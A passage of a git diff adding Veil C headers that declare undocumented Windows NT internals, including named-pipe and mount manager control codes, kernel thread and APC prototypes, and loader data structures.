+#define FSCTL_PIPE_INTERNAL_READ CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2045, METHOD_BUFFERED, FILE_READ_DATA) +#define FSCTL_PIPE_INTERNAL_WRITE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2046, METHOD_BUFFERED, FILE_WRITE_DATA) +#define FSCTL_PIPE_INTERNAL_TRANSCEIVE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2047, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA) +#define FSCTL_PIPE_INTERNAL_READ_OVFLOW CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2048, METHOD_BUFFERED, FILE_READ_DATA) + +// Flags for query event + +#define FILE_PIPE_READ_DATA 0x00000000 +#define FILE_PIPE_WRITE_SPACE 0x00000001 + +// Input for FSCTL_PIPE_ASSIGN_EVENT +typedef struct _FILE_PIPE_ASSIGN_EVENT_BUFFER +{ + HANDLE EventHandle; + ULONG KeyValue; +} FILE_PIPE_ASSIGN_EVENT_BUFFER, * PFILE_PIPE_ASSIGN_EVENT_BUFFER; + +// Output for FILE_PIPE_PEEK_BUFFER +typedef struct _FILE_PIPE_PEEK_BUFFER +{ + ULONG NamedPipeState; + ULONG ReadDataAvailable; + ULONG NumberOfMessages; + ULONG MessageLength; + CHAR Data[1]; +} FILE_PIPE_PEEK_BUFFER, * PFILE_PIPE_PEEK_BUFFER; + +// Output for FSCTL_PIPE_QUERY_EVENT +typedef struct _FILE_PIPE_EVENT_BUFFER +{ + ULONG NamedPipeState; + ULONG EntryType; + ULONG ByteCount; + ULONG KeyValue; + ULONG NumberRequests; +} FILE_PIPE_EVENT_BUFFER, * PFILE_PIPE_EVENT_BUFFER; + +// Input for FSCTL_PIPE_WAIT +typedef struct _FILE_PIPE_WAIT_FOR_BUFFER +{ + LARGE_INTEGER Timeout; + ULONG NameLength; + BOOLEAN TimeoutSpecified; + WCHAR Name[1]; +} FILE_PIPE_WAIT_FOR_BUFFER, * PFILE_PIPE_WAIT_FOR_BUFFER; + +// Input for FSCTL_PIPE_SET_CLIENT_PROCESS, Output for FSCTL_PIPE_QUERY_CLIENT_PROCESS +typedef struct _FILE_PIPE_CLIENT_PROCESS_BUFFER +{ +#if !defined(BUILD_WOW6432) + PVOID ClientSession; + PVOID ClientProcess; +#else + ULONGLONG ClientSession; + ULONGLONG ClientProcess; +#endif +} FILE_PIPE_CLIENT_PROCESS_BUFFER, * PFILE_PIPE_CLIENT_PROCESS_BUFFER; + +// Control structure for FSCTL_PIPE_QUERY_CLIENT_PROCESS_V2 + +typedef struct _FILE_PIPE_CLIENT_PROCESS_BUFFER_V2 +{ + ULONGLONG ClientSession; +#if !defined(BUILD_WOW6432) + PVOID ClientProcess; +#else + ULONGLONG ClientProcess; +#endif +} FILE_PIPE_CLIENT_PROCESS_BUFFER_V2, * PFILE_PIPE_CLIENT_PROCESS_BUFFER_V2; + +#define FILE_PIPE_COMPUTER_NAME_LENGTH 15 + +// Input for FSCTL_PIPE_SET_CLIENT_PROCESS, Output for FSCTL_PIPE_QUERY_CLIENT_PROCESS +typedef struct _FILE_PIPE_CLIENT_PROCESS_BUFFER_EX +{ +#if !defined(BUILD_WOW6432) + PVOID ClientSession; + PVOID ClientProcess; +#else + ULONGLONG ClientSession; + ULONGLONG ClientProcess; +#endif + USHORT ClientComputerNameLength; // in bytes + WCHAR ClientComputerBuffer[FILE_PIPE_COMPUTER_NAME_LENGTH + 1]; // null-terminated +} FILE_PIPE_CLIENT_PROCESS_BUFFER_EX, * PFILE_PIPE_CLIENT_PROCESS_BUFFER_EX; + +// Control structure for FSCTL_PIPE_SILO_ARRIVAL + +typedef struct _FILE_PIPE_SILO_ARRIVAL_INPUT +{ + HANDLE JobHandle; +} FILE_PIPE_SILO_ARRIVAL_INPUT, * PFILE_PIPE_SILO_ARRIVAL_INPUT; + +// +// Flags for create symlink +// + +// +// A global symlink will cause resolution of the symlink's target to occur in +// the host silo (i.e. not in any current silo). For example, if there is a +// symlink at \Device\Silos\37\Device\NamedPipe\symlink then the target will be +// resolved as \Device\NamedPipe\target instead of \Device\Silos\37\Device\NamedPipe\target +// +#define FILE_PIPE_SYMLINK_FLAG_GLOBAL 0x1 + +// +// A relative symlink will cause resolution of the symlink's target to occur relative +// to the root of the named pipe file system. For example, if there is a symlink at +// \Device\NamedPipe\symlink that has a target called "target", then the target will +// be resolved as \Device\NamedPipe\target +// +#define FILE_PIPE_SYMLINK_FLAG_RELATIVE 0x2 + +#define FILE_PIPE_SYMLINK_VALID_FLAGS \ + (FILE_PIPE_SYMLINK_FLAG_GLOBAL | FILE_PIPE_SYMLINK_FLAG_RELATIVE) + +// Control structure for FSCTL_PIPE_CREATE_SYMLINK + +typedef struct _FILE_PIPE_CREATE_SYMLINK_INPUT +{ + USHORT NameOffset; + USHORT NameLength; + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + ULONG Flags; +} FILE_PIPE_CREATE_SYMLINK_INPUT, * PFILE_PIPE_CREATE_SYMLINK_INPUT; + +// Control structure for FSCTL_PIPE_DELETE_SYMLINK + +typedef struct _FILE_PIPE_DELETE_SYMLINK_INPUT +{ + USHORT NameOffset; + USHORT NameLength; +} FILE_PIPE_DELETE_SYMLINK_INPUT, * PFILE_PIPE_DELETE_SYMLINK_INPUT; +#endif // !_KERNEL_MODE + +// Mailslot FS control definitions + +#define MAILSLOT_CLASS_FIRSTCLASS 1 +#define MAILSLOT_CLASS_SECONDCLASS 2 + +#define FSCTL_MAILSLOT_PEEK CTL_CODE(FILE_DEVICE_MAILSLOT, 0, METHOD_NEITHER, FILE_READ_DATA) + +// Output for FSCTL_MAILSLOT_PEEK +typedef struct _FILE_MAILSLOT_PEEK_BUFFER +{ + ULONG ReadDataAvailable; + ULONG NumberOfMessages; + ULONG MessageLength; +} FILE_MAILSLOT_PEEK_BUFFER, * PFILE_MAILSLOT_PEEK_BUFFER; + +// Mount manager FS control definitions + +#define MOUNTMGR_DEVICE_NAME L"\\Device\\MountPointManager" +#define MOUNTMGRCONTROLTYPE 0x0000006D // 'm' +#define MOUNTDEVCONTROLTYPE 0x0000004D // 'M' + +#define IOCTL_MOUNTMGR_CREATE_POINT CTL_CODE(MOUNTMGRCONTROLTYPE, 0, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_DELETE_POINTS CTL_CODE(MOUNTMGRCONTROLTYPE, 1, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_QUERY_POINTS CTL_CODE(MOUNTMGRCONTROLTYPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_MOUNTMGR_DELETE_POINTS_DBONLY CTL_CODE(MOUNTMGRCONTROLTYPE, 3, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_NEXT_DRIVE_LETTER CTL_CODE(MOUNTMGRCONTROLTYPE, 4, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_AUTO_DL_ASSIGNMENTS CTL_CODE(MOUNTMGRCONTROLTYPE, 5, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_CREATED CTL_CODE(MOUNTMGRCONTROLTYPE, 6, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_DELETED CTL_CODE(MOUNTMGRCONTROLTYPE, 7, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_CHANGE_NOTIFY CTL_CODE(MOUNTMGRCONTROLTYPE, 8, METHOD_BUFFERED, FILE_READ_ACCESS) +#define IOCTL_MOUNTMGR_KEEP_LINKS_WHEN_OFFLINE CTL_CODE(MOUNTMGRCONTROLTYPE, 9, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_CHECK_UNPROCESSED_VOLUMES CTL_CODE(MOUNTMGRCONTROLTYPE, 10, METHOD_BUFFERED, FILE_READ_ACCESS) +#define IOCTL_MOUNTMGR_VOLUME_ARRIVAL_NOTIFICATION CTL_CODE(MOUNTMGRCONTROLTYPE, 11, METHOD_BUFFERED, FILE_READ_ACCESS) +#define IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATH CTL_CODE(MOUNTMGRCONTROLTYPE, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATHS CTL_CODE(MOUNTMGRCONTROLTYPE, 13, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#define IOCTL_MOUNTDEV_QUERY_DEVICE_NAME CTL_CODE(MOUNTDEVCONTROLTYPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) + +// Input structure for IOCTL_MOUNTMGR_CREATE_POINT. +typedef struct _MOUNTMGR_CREATE_POINT_INPUT +{ + USHORT SymbolicLinkNameOffset; + USHORT SymbolicLinkNameLength; + USHORT DeviceNameOffset; + USHORT DeviceNameLength; +} MOUNTMGR_CREATE_POINT_INPUT, * PMOUNTMGR_CREATE_POINT_INPUT; + +// Input structure for IOCTL_MOUNTMGR_DELETE_POINTS, IOCTL_MOUNTMGR_QUERY_POINTS, and IOCTL_MOUNTMGR_DELETE_POINTS_DBONLY. +typedef struct _MOUNTMGR_MOUNT_POINT +{ + ULONG SymbolicLinkNameOffset; + USHORT SymbolicLinkNameLength; + USHORT Reserved1; + ULONG UniqueIdOffset; + USHORT UniqueIdLength; + USHORT Reserved2; + ULONG DeviceNameOffset; + USHORT DeviceNameLength; + USHORT Reserved3; +} MOUNTMGR_MOUNT_POINT, * PMOUNTMGR_MOUNT_POINT; + +// Output structure for IOCTL_MOUNTMGR_DELETE_POINTS, IOCTL_MOUNTMGR_QUERY_POINTS, and IOCTL_MOUNTMGR_DELETE_POINTS_DBONLY. +typedef struct _MOUNTMGR_MOUNT_POINTS +{ + ULONG Size; + ULONG NumberOfMountPoints; + MOUNTMGR_MOUNT_POINT MountPoints[1]; +} MOUNTMGR_MOUNT_POINTS, * PMOUNTMGR_MOUNT_POINTS; + +// Input structure for IOCTL_MOUNTMGR_NEXT_DRIVE_LETTER. +typedef struct _MOUNTMGR_DRIVE_LETTER_TARGET +{ + USHORT DeviceNameLength; + WCHAR DeviceName[1]; +} MOUNTMGR_DRIVE_LETTER_TARGET, * PMOUNTMGR_DRIVE_LETTER_TARGET; + +// Output structure for IOCTL_MOUNTMGR_NEXT_DRIVE_LETTER. +typedef struct _MOUNTMGR_DRIVE_LETTER_INFORMATION +{ + BOOLEAN DriveLetterWasAssigned; + UCHAR CurrentDriveLetter; +} MOUNTMGR_DRIVE_LETTER_INFORMATION, * PMOUNTMGR_DRIVE_LETTER_INFORMATION; + +// Input structure for IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_CREATED and +// IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_DELETED. +typedef struct _MOUNTMGR_VOLUME_MOUNT_POINT +{ + USHORT SourceVolumeNameOffset; + USHORT SourceVolumeNameLength; + USHORT TargetVolumeNameOffset; + USHORT TargetVolumeNameLength; +} MOUNTMGR_VOLUME_MOUNT_POINT, * PMOUNTMGR_VOLUME_MOUNT_POINT; + +// Input structure for IOCTL_MOUNTMGR_CHANGE_NOTIFY. +// Output structure for IOCTL_MOUNTMGR_CHANGE_NOTIFY. +typedef struct _MOUNTMGR_CHANGE_NOTIFY_INFO +{ + ULONG EpicNumber; +} MOUNTMGR_CHANGE_NOTIFY_INFO, * PMOUNTMGR_CHANGE_NOTIFY_INFO; + +// Input structure for IOCTL_MOUNTMGR_KEEP_LINKS_WHEN_OFFLINE, +// IOCTL_MOUNTMGR_VOLUME_ARRIVAL_NOTIFICATION, +// IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATH, and +// IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATHS. +// IOCTL_MOUNTMGR_PREPARE_VOLUME_DELETE +// IOCTL_MOUNTMGR_CANCEL_VOLUME_DELETE +typedef struct _MOUNTMGR_TARGET_NAME +{ + USHORT DeviceNameLength; + WCHAR DeviceName[1]; +} MOUNTMGR_TARGET_NAME, * PMOUNTMGR_TARGET_NAME; + +// Macro that defines what a "drive letter" mount point is. This macro can +// be used to scan the result from QUERY_POINTS to discover which mount points +// are find "drive letter" mount points. +#define MOUNTMGR_IS_DRIVE_LETTER(s) ( \ + (s)->Length == 28 && \ + (s)->Buffer[0] == '\\' && \ + (s)->Buffer[1] == 'D' && \ + (s)->Buffer[2] == 'o' && \ + (s)->Buffer[3] == 's' && \ + (s)->Buffer[4] == 'D' && \ + (s)->Buffer[5] == 'e' && \ + (s)->Buffer[6] == 'v' && \ + (s)->Buffer[7] == 'i' && \ + (s)->Buffer[8] == 'c' && \ + (s)->Buffer[9] == 'e' && \ + (s)->Buffer[10] == 's' && \ + (s)->Buffer[11] == '\\' && \ + (s)->Buffer[12] >= 'A' && \ + (s)->Buffer[12] <= 'Z' && \ + (s)->Buffer[13] == ':') + +// Macro that defines what a "volume name" mount point is. This macro can +// be used to scan the result from QUERY_POINTS to discover which mount points +// are "volume name" mount points. +#define MOUNTMGR_IS_VOLUME_NAME(s) ( \ + ((s)->Length == 96 || ((s)->Length == 98 && (s)->Buffer[48] == '\\')) && \ + (s)->Buffer[0] == '\\' && \ + ((s)->Buffer[1] == '?' || (s)->Buffer[1] == '\\') && \ + (s)->Buffer[2] == '?' && \ + (s)->Buffer[3] == '\\' && \ + (s)->Buffer[4] == 'V' && \ + (s)->Buffer[5] == 'o' && \ + (s)->Buffer[6] == 'l' && \ + (s)->Buffer[7] == 'u' && \ + (s)->Buffer[8] == 'm' && \ + (s)->Buffer[9] == 'e' && \ + (s)->Buffer[10] == '{' && \ + (s)->Buffer[19] == '-' && \ + (s)->Buffer[24] == '-' && \ + (s)->Buffer[29] == '-' && \ + (s)->Buffer[34] == '-' && \ + (s)->Buffer[47] == '}') + +// Output structure for IOCTL_MOUNTDEV_QUERY_DEVICE_NAME. +typedef struct _MOUNTDEV_NAME +{ + USHORT NameLength; + WCHAR Name[1]; +} MOUNTDEV_NAME, * PMOUNTDEV_NAME; + +// Output structure for IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATH and IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATHS. +typedef struct _MOUNTMGR_VOLUME_PATHS +{ + ULONG MultiSzLength; + WCHAR MultiSz[1]; +} MOUNTMGR_VOLUME_PATHS, * PMOUNTMGR_VOLUME_PATHS; + +#define MOUNTMGR_IS_DOS_VOLUME_NAME(s) ( \ + MOUNTMGR_IS_VOLUME_NAME(s) && \ + (s)->Length == 96 && \ + (s)->Buffer[1] == '\\') + +#define MOUNTMGR_IS_DOS_VOLUME_NAME_WB(s) ( \ + MOUNTMGR_IS_VOLUME_NAME(s) && \ + (s)->Length == 98 && \ + (s)->Buffer[1] == '\\') + +#define MOUNTMGR_IS_NT_VOLUME_NAME(s) ( \ + MOUNTMGR_IS_VOLUME_NAME(s) && \ + (s)->Length == 96 && \ + (s)->Buffer[1] == '?') + +#define MOUNTMGR_IS_NT_VOLUME_NAME_WB(s) ( \ + MOUNTMGR_IS_VOLUME_NAME(s) && \ + (s)->Length == 98 && \ + (s)->Buffer[1] == '?') + +// +// Only Kernel +// + +#ifdef _KERNEL_MODE + +// Driver + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +IoCreateDriver( + _In_opt_ PUNICODE_STRING DriverName, + _In_ PDRIVER_INITIALIZE InitializationFunction +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +IoDeleteDriver( + _In_ PDRIVER_OBJECT DriverObject +); + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.KernelCore.h b/include/Veil/Veil/Veil.System.KernelCore.h new file mode 100644 index 0000000..8de5825 --- /dev/null +++ b/include/Veil/Veil/Veil.System.KernelCore.h @@ -0,0 +1,360 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#ifndef _KERNEL_MODE +#define LOW_PRIORITY 0 // Lowest thread priority level +#define LOW_REALTIME_PRIORITY 16 // Lowest realtime priority level +#define HIGH_PRIORITY 31 // Highest thread priority level +#define MAXIMUM_PRIORITY 32 // Number of thread priority levels +#endif // !_KERNEL_MODE + +// private +typedef enum _KTHREAD_STATE +{ + Initialized, + Ready, + Running, + Standby, + Terminated, + Waiting, + Transition, + DeferredReady, + GateWaitObsolete, + WaitingForProcessInSwap, + MaximumThreadState +} KTHREAD_STATE, * PKTHREAD_STATE; + +// private +typedef enum _KHETERO_CPU_POLICY +{ + KHeteroCpuPolicyAll, + KHeteroCpuPolicyLarge, + KHeteroCpuPolicyLargeOrIdle, + KHeteroCpuPolicySmall, + KHeteroCpuPolicySmallOrIdle, + KHeteroCpuPolicyDynamic, + KHeteroCpuPolicyStaticMax, + KHeteroCpuPolicyBiasedSmall, + KHeteroCpuPolicyBiasedLarge, + KHeteroCpuPolicyDefault, + KHeteroCpuPolicyMax +} KHETERO_CPU_POLICY, * PKHETERO_CPU_POLICY; + +#ifndef _KERNEL_MODE +// +// Wait reasons +// + +typedef enum _KWAIT_REASON +{ + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + WrKeyedEvent, + WrTerminated, + WrProcessInSwap, + WrCpuRateControl, + WrCalloutStack, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + WrAlertByThreadId, + WrDeferredPreempt, + WrPhysicalFault, + WrIoRing, + WrMdlCache, + MaximumWaitReason +} KWAIT_REASON, * PKWAIT_REASON; + +// +// Profile source types +// + +typedef enum _KPROFILE_SOURCE +{ + ProfileTime, + ProfileAlignmentFixup, + ProfileTotalIssues, + ProfilePipelineDry, + ProfileLoadInstructions, + ProfilePipelineFrozen, + ProfileBranchInstructions, + ProfileTotalNonissues, + ProfileDcacheMisses, + ProfileIcacheMisses, + ProfileCacheMisses, + ProfileBranchMispredictions, + ProfileStoreInstructions, + ProfileFpInstructions, + ProfileIntegerInstructions, + Profile2Issue, + Profile3Issue, + Profile4Issue, + ProfileSpecialInstructions, + ProfileTotalCycles, + ProfileIcacheIssues, + ProfileDcacheAccesses, + ProfileMemoryBarrierCycles, + ProfileLoadLinkedIssues, + ProfileMaximum +} KPROFILE_SOURCE; +#endif // !_KERNEL_MODE + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCallbackReturn( + _In_reads_bytes_opt_(OutputLength) PVOID OutputBuffer, + _In_ ULONG OutputLength, + _In_ NTSTATUS Status +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCallbackReturn( + _In_reads_bytes_opt_(OutputLength) PVOID OutputBuffer, + _In_ ULONG OutputLength, + _In_ NTSTATUS Status +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +VOID +NTAPI +NtFlushProcessWriteBuffers( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +ZwFlushProcessWriteBuffers( + VOID +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtYieldExecution( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwYieldExecution( + VOID +); + + +// +// Only Kernel +// + +#ifdef _KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +BOOLEAN +NTAPI +KeAddSystemServiceTable( + _In_ PULONG_PTR Base, + _In_opt_ PULONG Count, + _In_ ULONG Limit, + _In_ PUCHAR Number, + _In_ ULONG Index +); + +// Thread + +typedef enum _KAPC_ENVIRONMENT +{ + OriginalApcEnvironment, + AttachedApcEnvironment, + CurrentApcEnvironment, + InsertApcEnvironment +} KAPC_ENVIRONMENT; + +typedef +VOID +(*PKNORMAL_ROUTINE) ( + IN PVOID NormalContext, + IN PVOID SystemArgument1, + IN PVOID SystemArgument2 + ); + +typedef +VOID +(*PKKERNEL_ROUTINE) ( + IN struct _KAPC* Apc, + IN OUT PKNORMAL_ROUTINE* NormalRoutine, + IN OUT PVOID* NormalContext, + IN OUT PVOID* SystemArgument1, + IN OUT PVOID* SystemArgument2 + ); + +typedef +VOID +(*PKRUNDOWN_ROUTINE) ( + IN struct _KAPC* Apc + ); + +typedef +BOOLEAN +(*PKSYNCHRONIZE_ROUTINE) ( + IN PVOID SynchronizeContext + ); + +typedef +BOOLEAN +(*PKTRANSFER_ROUTINE) ( + VOID + ); + +NTSYSAPI +VOID +NTAPI +KeInitializeApc( + _Out_ PRKAPC aApc, + _In_ PRKTHREAD aThread, + _In_ KAPC_ENVIRONMENT aEnvironment, + _In_ PKKERNEL_ROUTINE aKernelRoutine, + _In_opt_ PKRUNDOWN_ROUTINE aRundownRoutine, + _In_opt_ PKNORMAL_ROUTINE aNormalRoutine, + _In_opt_ KPROCESSOR_MODE aProcessorMode, + _In_opt_ PVOID aNormalContext +); + +NTSYSAPI +BOOLEAN +NTAPI +KeInsertQueueApc( + _Inout_ PRKAPC aApc, + _In_opt_ PVOID aSystemArgument1, + _In_opt_ PVOID aSystemArgument2, + _In_ KPRIORITY aIncrement +); + +NTSYSAPI +BOOLEAN +NTAPI +KeRemoveQueueApc( + _In_ PKAPC Apc +); + +NTSYSAPI +BOOLEAN +NTAPI +KeTestAlertThread( + _In_ KPROCESSOR_MODE AlertMode +); + +// Processor + +NTSYSAPI +VOID +NTAPI +KeGenericCallDpc( + _In_ PKDEFERRED_ROUTINE Routine, + _In_ PVOID Context +); + +NTSYSAPI +VOID +NTAPI +KeSignalCallDpcDone( + _In_ PVOID SystemArgument1 +); + +NTSYSAPI +LOGICAL +NTAPI +KeSignalCallDpcSynchronize( + _In_ PVOID SystemArgument2 +); + + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.Loader.h b/include/Veil/Veil/Veil.System.Loader.h new file mode 100644 index 0000000..a11204d --- /dev/null +++ b/include/Veil/Veil/Veil.System.Loader.h @@ -0,0 +1,1111 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +// +// DLLs +// + +typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)( + _In_ PVOID DllHandle, + _In_ ULONG Reason, + _In_opt_ PVOID Context + ); + +// symbols +typedef struct _LDR_SERVICE_TAG_RECORD +{ + struct _LDR_SERVICE_TAG_RECORD* Next; + ULONG ServiceTag; +} LDR_SERVICE_TAG_RECORD, * PLDR_SERVICE_TAG_RECORD; + +// symbols +typedef struct _LDRP_CSLIST +{ + PSINGLE_LIST_ENTRY Tail; +} LDRP_CSLIST, * PLDRP_CSLIST; + +// symbols +typedef enum _LDR_DDAG_STATE +{ + LdrModulesMerged = -5, + LdrModulesInitError = -4, + LdrModulesSnapError = -3, + LdrModulesUnloaded = -2, + LdrModulesUnloading = -1, + LdrModulesPlaceHolder = 0, + LdrModulesMapping = 1, + LdrModulesMapped = 2, + LdrModulesWaitingForDependencies = 3, + LdrModulesSnapping = 4, + LdrModulesSnapped = 5, + LdrModulesCondensed = 6, + LdrModulesReadyToInit = 7, + LdrModulesInitializing = 8, + LdrModulesReadyToRun = 9 +} LDR_DDAG_STATE; + +// symbols +typedef struct _LDR_DDAG_NODE +{ + LIST_ENTRY Modules; + PLDR_SERVICE_TAG_RECORD ServiceTagList; + ULONG LoadCount; + ULONG LoadWhileUnloadingCount; + ULONG LowestLink; + union + { + LDRP_CSLIST Dependencies; + SINGLE_LIST_ENTRY RemovalLink; + }; + LDRP_CSLIST IncomingDependencies; + LDR_DDAG_STATE State; + SINGLE_LIST_ENTRY CondenseLink; + ULONG PreorderNumber; +} LDR_DDAG_NODE, * PLDR_DDAG_NODE; + +// rev +typedef struct _LDR_DEPENDENCY_RECORD +{ + SINGLE_LIST_ENTRY DependencyLink; + PLDR_DDAG_NODE DependencyNode; + SINGLE_LIST_ENTRY IncomingDependencyLink; + PLDR_DDAG_NODE IncomingDependencyNode; +} LDR_DEPENDENCY_RECORD, * PLDR_DEPENDENCY_RECORD; + +// symbols +typedef enum _LDR_DLL_LOAD_REASON +{ + LoadReasonStaticDependency, + LoadReasonStaticForwarderDependency, + LoadReasonDynamicForwarderDependency, + LoadReasonDelayloadDependency, + LoadReasonDynamicLoad, + LoadReasonAsImageLoad, + LoadReasonAsDataLoad, + LoadReasonEnclavePrimary, // since REDSTONE3 + LoadReasonEnclaveDependency, + LoadReasonPatchImage, // since WIN11 + LoadReasonUnknown = -1 +} LDR_DLL_LOAD_REASON, * PLDR_DLL_LOAD_REASON; + +typedef enum _LDR_HOT_PATCH_STATE +{ + LdrHotPatchBaseImage, + LdrHotPatchNotApplied, + LdrHotPatchAppliedReverse, + LdrHotPatchAppliedForward, + LdrHotPatchFailedToPatch, + LdrHotPatchStateMax, +} LDR_HOT_PATCH_STATE, * PLDR_HOT_PATCH_STATE; + +#define LDRP_PACKAGED_BINARY 0x00000001 +#define LDRP_STATIC_LINK 0x00000002 +#define LDRP_IMAGE_DLL 0x00000004 +#define LDRP_LOAD_IN_PROGRESS 0x00001000 +#define LDRP_UNLOAD_IN_PROGRESS 0x00002000 +#define LDRP_ENTRY_PROCESSED 0x00004000 +#define LDRP_ENTRY_INSERTED 0x00008000 +#define LDRP_CURRENT_LOAD 0x00010000 +#define LDRP_FAILED_BUILTIN_LOAD 0x00020000 +#define LDRP_DONT_CALL_FOR_THREADS 0x00040000 +#define LDRP_PROCESS_ATTACH_CALLED 0x00080000 +#define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 +#define LDRP_IMAGE_NOT_AT_BASE 0x00200000 // Vista and below +#define LDRP_COR_IMAGE 0x00400000 +#define LDRP_DONT_RELOCATE 0x00800000 // LDR_COR_OWNS_UNMAP +#define LDRP_SYSTEM_MAPPED 0x01000000 +#define LDRP_IMAGE_VERIFYING 0x02000000 +#define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 +#define LDRP_ENTRY_NATIVE 0x08000000 +#define LDRP_REDIRECTED 0x10000000 +#define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 +#define LDRP_MM_LOADED 0x40000000 +#define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 + +#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, 